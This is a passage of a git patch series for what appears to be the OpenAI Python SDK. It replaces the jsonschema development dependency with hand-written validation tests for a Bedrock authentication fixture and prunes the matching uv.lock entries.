+wheels = [
+ { url = "https://files.pythonhosted.org/packages/e7/c1/56ef16bf5dcd255155cc736d276efa6ae0a5c26fd685e28f0412a4013c01/types_pytz-2025.2.0.20251108-py3-none-any.whl", hash = "sha256:0f1c9792cab4eb0e46c52f8845c8f77cf1e313cb3d68bf826aa867fe4717d91c", size = 10116, upload-time = "2025-11-08T02:55:56.194Z" },
+]
+
[[package]]
name = "typing-extensions"
version = "4.15.0"
@@ -1433,7 +2376,7 @@ name = "typing-inspection"
version = "0.4.2"
source = { registry = "https://pypi.org/simple" }
dependencies = [
- { name = "typing-extensions" },
+ { name = "typing-extensions", marker = "extra == 'group-6-openai-pydantic-v2' or extra != 'group-6-openai-pydantic-v1'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" }
wheels = [
@@ -1442,11 +2385,11 @@ wheels = [
[[package]]
name = "tzdata"
-version = "2026.2"
+version = "2025.2"
source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/ba/19/1b9b0e29f30c6d35cb345486df41110984ea67ae69dddbc0e8a100999493/tzdata-2026.2.tar.gz", hash = "sha256:9173fde7d80d9018e02a662e168e5a2d04f87c41ea174b139fbef642eda62d10", size = 198254, upload-time = "2026-04-24T15:22:08.651Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/95/32/1a225d6164441be760d75c2c42e2780dc0873fe382da3e98a2e1e48361e5/tzdata-2025.2.tar.gz", hash = "sha256:b60a638fcc0daffadf82fe0f57e53d06bdec2f36c4df66280ae79bce6bd6f2b9", size = 196380, upload-time = "2025-03-23T13:54:43.652Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/ce/e4/dccd7f47c4b64213ac01ef921a1337ee6e30e8c6466046018326977efd95/tzdata-2026.2-py2.py3-none-any.whl", hash = "sha256:bbe9af844f658da81a5f95019480da3a89415801f6cc966806612cc7169bffe7", size = 349321, upload-time = "2026-04-24T15:22:05.876Z" },
+ { url = "https://files.pythonhosted.org/packages/5c/23/c7abc0ca0a1526a0774eca151daeb8de62ec457e77262b66b359c3c7679e/tzdata-2025.2-py2.py3-none-any.whl", hash = "sha256:1a403fada01ff9221ca8044d701868fa132215d84beb92242d9acd2147f667a8", size = 347839, upload-time = "2025-03-23T13:54:41.845Z" },
]
[[package]]
From 0dfdfdddfbeb591a1bb5b3b4aa62e4a9870fcaa6 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 19 Aug 2026 15:11:13 +0000
Subject: [PATCH 030/341] [1/n] Reduce the Bedrock fixture validation
dependencies (#3654)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
# Summary
This is part of a series to reduce the SDK’s dependency surface where a
small, purpose-built alternative is sufficient.
- Replace the general-purpose JSON Schema dependency with explicit
checks for our small, checked-in Bedrock authentication fixture.
- Keep the shared schema as the contract, and fail if it changes beyond
what the manual checks cover.
- Remove four development packages (`jsonschema`,
`jsonschema-specifications`, `referencing`, and `rpds-py`), reducing the
development dependency graph from 79 to 75 distributions. Runtime
dependencies are unchanged.
## Stack
- https://github.com/openai/openai-python/pull/3653 (merged)
- https://github.com/openai/openai-python/pull/3654 👈 this PR
- https://github.com/openai/openai-python/pull/3655
- https://github.com/openai/openai-python/pull/3656
---
pyproject.toml | 1 -
tests/lib/test_bedrock_auth_conformance.py | 123 +++++++++++++-
uv.lock | 178 ---------------------
3 files changed, 117 insertions(+), 185 deletions(-)
diff --git a/pyproject.toml b/pyproject.toml
index 0e47337bf8..fc82da085d 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -58,7 +58,6 @@ dev = [
"mypy==1.17",
"pytest",
"pytest-asyncio",
- "jsonschema>=4.23.0",
"ruff",
"rich>=13.7.1",
"inline-snapshot>=0.28.0",
diff --git a/tests/lib/test_bedrock_auth_conformance.py b/tests/lib/test_bedrock_auth_conformance.py
index 08953fa592..829ea5b151 100644
--- a/tests/lib/test_bedrock_auth_conformance.py
+++ b/tests/lib/test_bedrock_auth_conformance.py
@@ -1,5 +1,6 @@
from __future__ import annotations
+import copy
import json
import base64
import hashlib
@@ -11,7 +12,6 @@
import httpx2
import pytest
-import jsonschema
from openai import OpenAI, AsyncOpenAI, OpenAIError, APIStatusError
from openai._utils import SensitiveHeadersFilter
@@ -26,6 +26,40 @@
SCHEMA = cast(dict[str, Any], json.loads(SCHEMA_PATH.read_text()))
SHARED_SIGV4_FIXTURE = cast(dict[str, Any], json.loads(SHARED_SIGV4_FIXTURE_PATH.read_text()))
+# This is deliberately specific to the small, checked-in v1 fixture contract.
+_REQUIRED_CASE_FIELDS: dict[str, dict[str, list[str]]] = {
+ "auth_selection": {"given": ["explicit", "environment", "default_chain_available"]},
+ "sigv4": {
+ "given": ["credentials", "signing", "request"],
+ "expected": ["payload_sha256", "canonical_request_sha256", "headers"],
+ },
+ "retry_signing": {
+ "given": ["response_statuses", "timestamps", "access_key_ids", "body_base64"],
+ "expected": ["attempts", "credential_provider_calls", "x_amz_dates", "body_sha256"],
+ },
+ "body_replay": {"given": ["body_kind"], "expected": ["result"]},
+ "redaction": {"given": ["headers"], "expected": ["headers", "forbidden_substrings"]},
+}
+
+
+def _validate_fixture_envelope(fixtures: dict[str, Any]) -> None:
+ assert set(fixtures) == {"schema_version", "suite", "cases"}
+ assert type(fixtures["schema_version"]) is int and fixtures["schema_version"] == 1
+ assert fixtures["suite"] == "aws-bedrock-auth"
+ assert isinstance(fixtures["cases"], list) and fixtures["cases"]
+ ids: set[str] = set()
+ for value in cast(list[object], fixtures["cases"]):
+ assert isinstance(value, dict)
+ case = cast(dict[str, Any], value)
+ assert set(case) == {"id", "kind", "given", "expected"}
+ assert isinstance(case["id"], str) and case["id"]
+ assert case["id"] not in ids
+ ids.add(case["id"])
+ assert isinstance(case["kind"], str) and case["kind"] in _REQUIRED_CASE_FIELDS
+ assert isinstance(case["given"], dict) and isinstance(case["expected"], dict)
+ for section, fields in _REQUIRED_CASE_FIELDS[case["kind"]].items():
+ assert set(fields) <= cast(dict[str, Any], case[section]).keys(), f"{case['id']}: missing {section} fields"
+
def _cases(kind: str) -> list[dict[str, Any]]:
return [cast(dict[str, Any], case) for case in FIXTURES["cases"] if case["kind"] == kind]
@@ -431,8 +465,85 @@ def test_redaction_fixture(caplog: pytest.LogCaptureFixture) -> None:
def test_fixture_envelope_is_versioned_and_ids_are_unique() -> None:
- jsonschema.Draft202012Validator(SCHEMA).validate(FIXTURES) # pyright: ignore[reportUnknownMemberType]
- assert FIXTURES["schema_version"] == 1
- assert FIXTURES["suite"] == "aws-bedrock-auth"
- ids = [case["id"] for case in FIXTURES["cases"]]
- assert len(ids) == len(set(ids))
+ _validate_fixture_envelope(FIXTURES)
+
+
+def test_fixture_schema_matches_manual_checks() -> None:
+ # Fail explicitly if the shared schema grows beyond what the checks cover.
+ assert SCHEMA == {
+ "$schema": "https://json-schema.org/draft/2020-12/schema",
+ "$id": "https://openai.com/sdk-fixtures/bedrock-auth/v1/schema.json",
+ "title": "OpenAI SDK AWS Bedrock authentication conformance fixtures",
+ "type": "object",
+ "additionalProperties": False,
+ "required": ["schema_version", "suite", "cases"],
+ "properties": {
+ "schema_version": {"const": 1},
+ "suite": {"const": "aws-bedrock-auth"},
+ "cases": {"type": "array", "minItems": 1, "items": {"$ref": "#/$defs/case"}},
+ },
+ "$defs": {
+ "case": {
+ "type": "object",
+ "additionalProperties": False,
+ "required": ["id", "kind", "given", "expected"],
+ "properties": {
+ "id": {"type": "string", "minLength": 1},
+ "kind": {"enum": list(_REQUIRED_CASE_FIELDS)},
+ "given": {"type": "object"},
+ "expected": {"type": "object"},
+ },
+ "allOf": [
+ {
+ "if": {"properties": {"kind": {"const": kind}}},
+ "then": {"properties": {section: {"required": fields} for section, fields in sections.items()}},
+ }
+ for kind, sections in _REQUIRED_CASE_FIELDS.items()
+ ],
+ }
+ },
+ }
+
+
+@pytest.mark.parametrize(
+ "field,value",
+ [("schema_version", True), ("schema_version", 2), ("suite", "other"), ("cases", []), ("cases", {})],
+)
+def test_fixture_envelope_rejects_invalid_values(field: str, value: object) -> None:
+ fixtures = {**FIXTURES, field: value}
+ with pytest.raises(AssertionError):
+ _validate_fixture_envelope(fixtures)
+
+
+@pytest.mark.parametrize("field,value", [("id", ""), ("id", 1), ("kind", "other"), ("given", []), ("expected", [])])
+def test_fixture_case_rejects_invalid_values(field: str, value: object) -> None:
+ case = {**FIXTURES["cases"][0], field: value}
+ with pytest.raises(AssertionError):
+ _validate_fixture_envelope({**FIXTURES, "cases": [case]})
+
+
+def test_fixture_rejects_missing_extra_and_duplicate_fields() -> None:
+ for original in [FIXTURES, FIXTURES["cases"][0]]:
+ for field in [*original, "unexpected"]:
+ value = dict(original)
+ if field == "unexpected":
+ value[field] = None
+ else:
+ del value[field]
+ fixtures = value if original is FIXTURES else {**FIXTURES, "cases": [value]}
+ with pytest.raises(AssertionError):
+ _validate_fixture_envelope(fixtures)
+
+ case = FIXTURES["cases"][0]
+ with pytest.raises(AssertionError):
+ _validate_fixture_envelope({**FIXTURES, "cases": [case, case]})
+
+
+def test_fixture_rejects_missing_kind_specific_fields() -> None:
+ for kind, sections in _REQUIRED_CASE_FIELDS.items():
+ for section, fields in sections.items():
+ for field in fields:
+ case = copy.deepcopy(_cases(kind)[0])
+ del case[section][field]
+ with pytest.raises(AssertionError):
+ _validate_fixture_envelope({**FIXTURES, "cases": [case]})
diff --git a/uv.lock b/uv.lock
index e445e96774..1dbd028fd2 100644
--- a/uv.lock
+++ b/uv.lock
@@ -927,33 +927,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/14/2f/967ba146e6d58cf6a652da73885f52fc68001525b4197effc174321d70b4/jmespath-1.1.0-py3-none-any.whl", hash = "sha256:a5663118de4908c91729bea0acadca56526eb2698e83de10cd116ae0f4e97c64", size = 20419, upload-time = "2026-01-22T16:35:24.919Z" },
]
-[[package]]
-name = "jsonschema"
-version = "4.25.1"
-source = { registry = "https://pypi.org/simple" }
-dependencies = [
- { name = "attrs" },
- { name = "jsonschema-specifications" },
- { name = "referencing" },
- { name = "rpds-py" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/74/69/f7185de793a29082a9f3c7728268ffb31cb5095131a9c139a74078e27336/jsonschema-4.25.1.tar.gz", hash = "sha256:e4a9655ce0da0c0b67a085847e00a3a51449e1157f4f75e9fb5aa545e122eb85", size = 357342, upload-time = "2025-08-18T17:03:50.038Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/bf/9c/8c95d856233c1f82500c2450b8c68576b4cf1c871db3afac5c34ff84e6fd/jsonschema-4.25.1-py3-none-any.whl", hash = "sha256:3fba0169e345c7175110351d456342c364814cfcf3b964ba4587f22915230a63", size = 90040, upload-time = "2025-08-18T17:03:48.373Z" },
-]
-
-[[package]]
-name = "jsonschema-specifications"
-version = "2025.9.1"
-source = { registry = "https://pypi.org/simple" }
-dependencies = [
- { name = "referencing" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/19/74/a633ee74eb36c44aa6d1095e7cc5569bebf04342ee146178e2d36600708b/jsonschema_specifications-2025.9.1.tar.gz", hash = "sha256:b540987f239e745613c7a9176f3edb72b832a4ac465cf02712288397832b5e8d", size = 32855, upload-time = "2025-09-08T01:34:59.186Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/41/45/1a4ed80516f02155c51f51e8cedb3c1902296743db0bbc66608a0db2814f/jsonschema_specifications-2025.9.1-py3-none-any.whl", hash = "sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe", size = 18437, upload-time = "2025-09-08T01:34:57.871Z" },
-]
-
[[package]]
name = "markdown-it-py"
version = "3.0.0"
@@ -1403,7 +1376,6 @@ dev = [
{ name = "botocore" },
{ name = "griffe" },
{ name = "inline-snapshot" },
- { name = "jsonschema" },
{ name = "mypy" },
{ name = "pandas-stubs" },
{ name = "pyright" },
@@ -1456,7 +1428,6 @@ dev = [
{ name = "botocore", specifier = "==1.42.97" },
{ name = "griffe", specifier = ">=1" },
{ name = "inline-snapshot", specifier = ">=0.28.0" },
- { name = "jsonschema", specifier = ">=4.23.0" },
{ name = "mypy", specifier = "==1.17" },
{ name = "pandas-stubs", specifier = ">=1.1.0.11" },
{ name = "pyright", specifier = "==1.1.399" },
@@ -2018,20 +1989,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/81/c4/34e93fe5f5429d7570ec1fa436f1986fb1f00c3e0f43a589fe2bbcd22c3f/pytz-2025.2-py2.py3-none-any.whl", hash = "sha256:5ddf76296dd8c44c26eb8f4b6f35488f3ccbf6fbbd7adee0b7262d43f0ec2f00", size = 509225, upload-time = "2025-03-25T02:24:58.468Z" },
]
-[[package]]
-name = "referencing"
-version = "0.36.2"
-source = { registry = "https://pypi.org/simple" }
-dependencies = [
- { name = "attrs" },
- { name = "rpds-py" },
- { name = "typing-extensions", marker = "python_full_version < '3.13' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/2f/db/98b5c277be99dd18bfd91dd04e1b759cad18d1a338188c936e92f921c7e2/referencing-0.36.2.tar.gz", hash = "sha256:df2e89862cd09deabbdba16944cc3f10feb6b3e6f18e902f7cc25609a34775aa", size = 74744, upload-time = "2025-01-25T08:48:16.138Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/c1/b1/3baf80dc6d2b7bc27a95a67752d0208e410351e3feb4eb78de5f77454d8d/referencing-0.36.2-py3-none-any.whl", hash = "sha256:e8699adbbf8b5c7de96d8ffa0eb5c158b3beafce084968e2ea8bb08c6794dcd0", size = 26775, upload-time = "2025-01-25T08:48:14.241Z" },
-]
-
[[package]]
name = "requests"
version = "2.32.5"
@@ -2060,141 +2017,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/25/7a/b0178788f8dc6cafce37a212c99565fa1fe7872c70c6c9c1e1a372d9d88f/rich-14.2.0-py3-none-any.whl", hash = "sha256:76bc51fe2e57d2b1be1f96c524b890b816e334ab4c1e45888799bfaab0021edd", size = 243393, upload-time = "2025-10-09T14:16:51.245Z" },
]
-[[package]]
-name = "rpds-py"
-version = "0.27.1"
-source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/e9/dd/2c0cbe774744272b0ae725f44032c77bdcab6e8bcf544bffa3b6e70c8dba/rpds_py-0.27.1.tar.gz", hash = "sha256:26a1c73171d10b7acccbded82bf6a586ab8203601e565badc74bbbf8bc5a10f8", size = 27479, upload-time = "2025-08-27T12:16:36.024Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/a5/ed/3aef893e2dd30e77e35d20d4ddb45ca459db59cead748cad9796ad479411/rpds_py-0.27.1-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:68afeec26d42ab3b47e541b272166a0b4400313946871cba3ed3a4fc0cab1cef", size = 371606, upload-time = "2025-08-27T12:12:25.189Z" },
- { url = "https://files.pythonhosted.org/packages/6d/82/9818b443e5d3eb4c83c3994561387f116aae9833b35c484474769c4a8faf/rpds_py-0.27.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:74e5b2f7bb6fa38b1b10546d27acbacf2a022a8b5543efb06cfebc72a59c85be", size = 353452, upload-time = "2025-08-27T12:12:27.433Z" },
- { url = "https://files.pythonhosted.org/packages/99/c7/d2a110ffaaa397fc6793a83c7bd3545d9ab22658b7cdff05a24a4535cc45/rpds_py-0.27.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9024de74731df54546fab0bfbcdb49fae19159ecaecfc8f37c18d2c7e2c0bd61", size = 381519, upload-time = "2025-08-27T12:12:28.719Z" },
- { url = "https://files.pythonhosted.org/packages/5a/bc/e89581d1f9d1be7d0247eaef602566869fdc0d084008ba139e27e775366c/rpds_py-0.27.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:31d3ebadefcd73b73928ed0b2fd696f7fefda8629229f81929ac9c1854d0cffb", size = 394424, upload-time = "2025-08-27T12:12:30.207Z" },
- { url = "https://files.pythonhosted.org/packages/ac/2e/36a6861f797530e74bb6ed53495f8741f1ef95939eed01d761e73d559067/rpds_py-0.27.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b2e7f8f169d775dd9092a1743768d771f1d1300453ddfe6325ae3ab5332b4657", size = 523467, upload-time = "2025-08-27T12:12:31.808Z" },
- { url = "https://files.pythonhosted.org/packages/c4/59/c1bc2be32564fa499f988f0a5c6505c2f4746ef96e58e4d7de5cf923d77e/rpds_py-0.27.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3d905d16f77eb6ab2e324e09bfa277b4c8e5e6b8a78a3e7ff8f3cdf773b4c013", size = 402660, upload-time = "2025-08-27T12:12:33.444Z" },
- { url = "https://files.pythonhosted.org/packages/0a/ec/ef8bf895f0628dd0a59e54d81caed6891663cb9c54a0f4bb7da918cb88cf/rpds_py-0.27.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:50c946f048209e6362e22576baea09193809f87687a95a8db24e5fbdb307b93a", size = 384062, upload-time = "2025-08-27T12:12:34.857Z" },
- { url = "https://files.pythonhosted.org/packages/69/f7/f47ff154be8d9a5e691c083a920bba89cef88d5247c241c10b9898f595a1/rpds_py-0.27.1-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:3deab27804d65cd8289eb814c2c0e807c4b9d9916c9225e363cb0cf875eb67c1", size = 401289, upload-time = "2025-08-27T12:12:36.085Z" },
- { url = "https://files.pythonhosted.org/packages/3b/d9/ca410363efd0615814ae579f6829cafb39225cd63e5ea5ed1404cb345293/rpds_py-0.27.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:8b61097f7488de4be8244c89915da8ed212832ccf1e7c7753a25a394bf9b1f10", size = 417718, upload-time = "2025-08-27T12:12:37.401Z" },
- { url = "https://files.pythonhosted.org/packages/e3/a0/8cb5c2ff38340f221cc067cc093d1270e10658ba4e8d263df923daa18e86/rpds_py-0.27.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8a3f29aba6e2d7d90528d3c792555a93497fe6538aa65eb675b44505be747808", size = 558333, upload-time = "2025-08-27T12:12:38.672Z" },
- { url = "https://files.pythonhosted.org/packages/6f/8c/1b0de79177c5d5103843774ce12b84caa7164dfc6cd66378768d37db11bf/rpds_py-0.27.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:dd6cd0485b7d347304067153a6dc1d73f7d4fd995a396ef32a24d24b8ac63ac8", size = 589127, upload-time = "2025-08-27T12:12:41.48Z" },
- { url = "https://files.pythonhosted.org/packages/c8/5e/26abb098d5e01266b0f3a2488d299d19ccc26849735d9d2b95c39397e945/rpds_py-0.27.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:6f4461bf931108c9fa226ffb0e257c1b18dc2d44cd72b125bec50ee0ab1248a9", size = 554899, upload-time = "2025-08-27T12:12:42.925Z" },
- { url = "https://files.pythonhosted.org/packages/de/41/905cc90ced13550db017f8f20c6d8e8470066c5738ba480d7ba63e3d136b/rpds_py-0.27.1-cp310-cp310-win32.whl", hash = "sha256:ee5422d7fb21f6a00c1901bf6559c49fee13a5159d0288320737bbf6585bd3e4", size = 217450, upload-time = "2025-08-27T12:12:44.813Z" },
- { url = "https://files.pythonhosted.org/packages/75/3d/6bef47b0e253616ccdf67c283e25f2d16e18ccddd38f92af81d5a3420206/rpds_py-0.27.1-cp310-cp310-win_amd64.whl", hash = "sha256:3e039aabf6d5f83c745d5f9a0a381d031e9ed871967c0a5c38d201aca41f3ba1", size = 228447, upload-time = "2025-08-27T12:12:46.204Z" },
- { url = "https://files.pythonhosted.org/packages/b5/c1/7907329fbef97cbd49db6f7303893bd1dd5a4a3eae415839ffdfb0762cae/rpds_py-0.27.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:be898f271f851f68b318872ce6ebebbc62f303b654e43bf72683dbdc25b7c881", size = 371063, upload-time = "2025-08-27T12:12:47.856Z" },
- { url = "https://files.pythonhosted.org/packages/11/94/2aab4bc86228bcf7c48760990273653a4900de89c7537ffe1b0d6097ed39/rpds_py-0.27.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:62ac3d4e3e07b58ee0ddecd71d6ce3b1637de2d373501412df395a0ec5f9beb5", size = 353210, upload-time = "2025-08-27T12:12:49.187Z" },
- { url = "https://files.pythonhosted.org/packages/3a/57/f5eb3ecf434342f4f1a46009530e93fd201a0b5b83379034ebdb1d7c1a58/rpds_py-0.27.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4708c5c0ceb2d034f9991623631d3d23cb16e65c83736ea020cdbe28d57c0a0e", size = 381636, upload-time = "2025-08-27T12:12:50.492Z" },
- { url = "https://files.pythonhosted.org/packages/ae/f4/ef95c5945e2ceb5119571b184dd5a1cc4b8541bbdf67461998cfeac9cb1e/rpds_py-0.27.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:abfa1171a9952d2e0002aba2ad3780820b00cc3d9c98c6630f2e93271501f66c", size = 394341, upload-time = "2025-08-27T12:12:52.024Z" },
- { url = "https://files.pythonhosted.org/packages/5a/7e/4bd610754bf492d398b61725eb9598ddd5eb86b07d7d9483dbcd810e20bc/rpds_py-0.27.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4b507d19f817ebaca79574b16eb2ae412e5c0835542c93fe9983f1e432aca195", size = 523428, upload-time = "2025-08-27T12:12:53.779Z" },
- { url = "https://files.pythonhosted.org/packages/9f/e5/059b9f65a8c9149361a8b75094864ab83b94718344db511fd6117936ed2a/rpds_py-0.27.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:168b025f8fd8d8d10957405f3fdcef3dc20f5982d398f90851f4abc58c566c52", size = 402923, upload-time = "2025-08-27T12:12:55.15Z" },
- { url = "https://files.pythonhosted.org/packages/f5/48/64cabb7daced2968dd08e8a1b7988bf358d7bd5bcd5dc89a652f4668543c/rpds_py-0.27.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cb56c6210ef77caa58e16e8c17d35c63fe3f5b60fd9ba9d424470c3400bcf9ed", size = 384094, upload-time = "2025-08-27T12:12:57.194Z" },
- { url = "https://files.pythonhosted.org/packages/ae/e1/dc9094d6ff566bff87add8a510c89b9e158ad2ecd97ee26e677da29a9e1b/rpds_py-0.27.1-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:d252f2d8ca0195faa707f8eb9368955760880b2b42a8ee16d382bf5dd807f89a", size = 401093, upload-time = "2025-08-27T12:12:58.985Z" },
- { url = "https://files.pythonhosted.org/packages/37/8e/ac8577e3ecdd5593e283d46907d7011618994e1d7ab992711ae0f78b9937/rpds_py-0.27.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:6e5e54da1e74b91dbc7996b56640f79b195d5925c2b78efaa8c5d53e1d88edde", size = 417969, upload-time = "2025-08-27T12:13:00.367Z" },
- { url = "https://files.pythonhosted.org/packages/66/6d/87507430a8f74a93556fe55c6485ba9c259949a853ce407b1e23fea5ba31/rpds_py-0.27.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:ffce0481cc6e95e5b3f0a47ee17ffbd234399e6d532f394c8dce320c3b089c21", size = 558302, upload-time = "2025-08-27T12:13:01.737Z" },
- { url = "https://files.pythonhosted.org/packages/3a/bb/1db4781ce1dda3eecc735e3152659a27b90a02ca62bfeea17aee45cc0fbc/rpds_py-0.27.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:a205fdfe55c90c2cd8e540ca9ceba65cbe6629b443bc05db1f590a3db8189ff9", size = 589259, upload-time = "2025-08-27T12:13:03.127Z" },
- { url = "https://files.pythonhosted.org/packages/7b/0e/ae1c8943d11a814d01b482e1f8da903f88047a962dff9bbdadf3bd6e6fd1/rpds_py-0.27.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:689fb5200a749db0415b092972e8eba85847c23885c8543a8b0f5c009b1a5948", size = 554983, upload-time = "2025-08-27T12:13:04.516Z" },
- { url = "https://files.pythonhosted.org/packages/b2/d5/0b2a55415931db4f112bdab072443ff76131b5ac4f4dc98d10d2d357eb03/rpds_py-0.27.1-cp311-cp311-win32.whl", hash = "sha256:3182af66048c00a075010bc7f4860f33913528a4b6fc09094a6e7598e462fe39", size = 217154, upload-time = "2025-08-27T12:13:06.278Z" },
- { url = "https://files.pythonhosted.org/packages/24/75/3b7ffe0d50dc86a6a964af0d1cc3a4a2cdf437cb7b099a4747bbb96d1819/rpds_py-0.27.1-cp311-cp311-win_amd64.whl", hash = "sha256:b4938466c6b257b2f5c4ff98acd8128ec36b5059e5c8f8372d79316b1c36bb15", size = 228627, upload-time = "2025-08-27T12:13:07.625Z" },
- { url = "https://files.pythonhosted.org/packages/8d/3f/4fd04c32abc02c710f09a72a30c9a55ea3cc154ef8099078fd50a0596f8e/rpds_py-0.27.1-cp311-cp311-win_arm64.whl", hash = "sha256:2f57af9b4d0793e53266ee4325535a31ba48e2f875da81a9177c9926dfa60746", size = 220998, upload-time = "2025-08-27T12:13:08.972Z" },
- { url = "https://files.pythonhosted.org/packages/bd/fe/38de28dee5df58b8198c743fe2bea0c785c6d40941b9950bac4cdb71a014/rpds_py-0.27.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:ae2775c1973e3c30316892737b91f9283f9908e3cc7625b9331271eaaed7dc90", size = 361887, upload-time = "2025-08-27T12:13:10.233Z" },
- { url = "https://files.pythonhosted.org/packages/7c/9a/4b6c7eedc7dd90986bf0fab6ea2a091ec11c01b15f8ba0a14d3f80450468/rpds_py-0.27.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:2643400120f55c8a96f7c9d858f7be0c88d383cd4653ae2cf0d0c88f668073e5", size = 345795, upload-time = "2025-08-27T12:13:11.65Z" },
- { url = "https://files.pythonhosted.org/packages/6f/0e/e650e1b81922847a09cca820237b0edee69416a01268b7754d506ade11ad/rpds_py-0.27.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:16323f674c089b0360674a4abd28d5042947d54ba620f72514d69be4ff64845e", size = 385121, upload-time = "2025-08-27T12:13:13.008Z" },
- { url = "https://files.pythonhosted.org/packages/1b/ea/b306067a712988e2bff00dcc7c8f31d26c29b6d5931b461aa4b60a013e33/rpds_py-0.27.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9a1f4814b65eacac94a00fc9a526e3fdafd78e439469644032032d0d63de4881", size = 398976, upload-time = "2025-08-27T12:13:14.368Z" },
- { url = "https://files.pythonhosted.org/packages/2c/0a/26dc43c8840cb8fe239fe12dbc8d8de40f2365e838f3d395835dde72f0e5/rpds_py-0.27.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7ba32c16b064267b22f1850a34051121d423b6f7338a12b9459550eb2096e7ec", size = 525953, upload-time = "2025-08-27T12:13:15.774Z" },
- { url = "https://files.pythonhosted.org/packages/22/14/c85e8127b573aaf3a0cbd7fbb8c9c99e735a4a02180c84da2a463b766e9e/rpds_py-0.27.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e5c20f33fd10485b80f65e800bbe5f6785af510b9f4056c5a3c612ebc83ba6cb", size = 407915, upload-time = "2025-08-27T12:13:17.379Z" },
- { url = "https://files.pythonhosted.org/packages/ed/7b/8f4fee9ba1fb5ec856eb22d725a4efa3deb47f769597c809e03578b0f9d9/rpds_py-0.27.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:466bfe65bd932da36ff279ddd92de56b042f2266d752719beb97b08526268ec5", size = 386883, upload-time = "2025-08-27T12:13:18.704Z" },
- { url = "https://files.pythonhosted.org/packages/86/47/28fa6d60f8b74fcdceba81b272f8d9836ac0340570f68f5df6b41838547b/rpds_py-0.27.1-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:41e532bbdcb57c92ba3be62c42e9f096431b4cf478da9bc3bc6ce5c38ab7ba7a", size = 405699, upload-time = "2025-08-27T12:13:20.089Z" },
- { url = "https://files.pythonhosted.org/packages/d0/fd/c5987b5e054548df56953a21fe2ebed51fc1ec7c8f24fd41c067b68c4a0a/rpds_py-0.27.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f149826d742b406579466283769a8ea448eed82a789af0ed17b0cd5770433444", size = 423713, upload-time = "2025-08-27T12:13:21.436Z" },
- { url = "https://files.pythonhosted.org/packages/ac/ba/3c4978b54a73ed19a7d74531be37a8bcc542d917c770e14d372b8daea186/rpds_py-0.27.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:80c60cfb5310677bd67cb1e85a1e8eb52e12529545441b43e6f14d90b878775a", size = 562324, upload-time = "2025-08-27T12:13:22.789Z" },
